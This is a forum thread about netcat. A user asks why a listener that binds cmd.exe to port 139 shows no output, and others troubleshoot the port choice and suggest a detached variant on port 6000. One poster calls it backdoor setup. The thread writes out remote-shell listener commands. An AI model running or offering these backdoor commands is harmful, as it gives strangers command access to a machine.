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    Thumbs up how to use netcat?

    I typed:
    nc -v -L -e cmd.exe -p 139 -s xxx.xxx.xxx.xxx but i didn't get anything on the next row. What happened with that. Was I blocked by the network policy?

    Thx

    g00rkha


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    My best guess is that it is because you tried to bind cmd.exe to port 139 which is already in use by Windows for Netbios...

    Try using a different port

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    I agree, what are your perm's on the system though?

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    Well, normally if Netcat can't bind a port it gives an error message like:
    Can't bind xxx.xxx.xxx.xxx:139: Port in use or some other similar error.

    Personally, I don't think you should be running cmd.exe off of any listening connection anyways... You're obviously just out to setup a backdoor, so I don't see why anyone here should be helping you.
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    i believe you told netcat to be a server, listen on port 139 and give a command promt when anyone connects. if you don't get a prompt back thats what its doing.

    chsh is right, you should be using another port like 443
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    Does it mean I still can use this port (139) because the service (sorry if i'm not mistaken) give Netcat priority over NETBIOS service which is at a lower priority because it is bound to ANY IP address? Because of I bind I bind "in front of" some services that may be listening on the port.

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    I tried to use port 443 but it gave me the message that I could not bind with the port. Thanks.

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    two things..

    First, no netcat will not have a higher priority than netbios. When a service is bound to a port, the only way to get rid of it is to kill the process.

    Second, If you set up the listener and you get a blank line and your prompt does not return, that probably means the listener is waiting for a connection. To verify this open another window and type

    unix: netstat -na |grep <netcat port>
    windows: netstat -na |more --> and just look for the port netcat is using.

    Make sure that port is in "listening" state

    Like I said earlier though...try using a high port that will not conflict with any already in use....something like 23456.

    Once the port is listening, open another session and try:

    telnet <target.ip> <port #>

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    Try a higher port.

    c:\>nc -d -l -p 6000 -e cmd.exe

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    X11R6 is already running on port 6000 ...
    Look at your local /etc/services !!!
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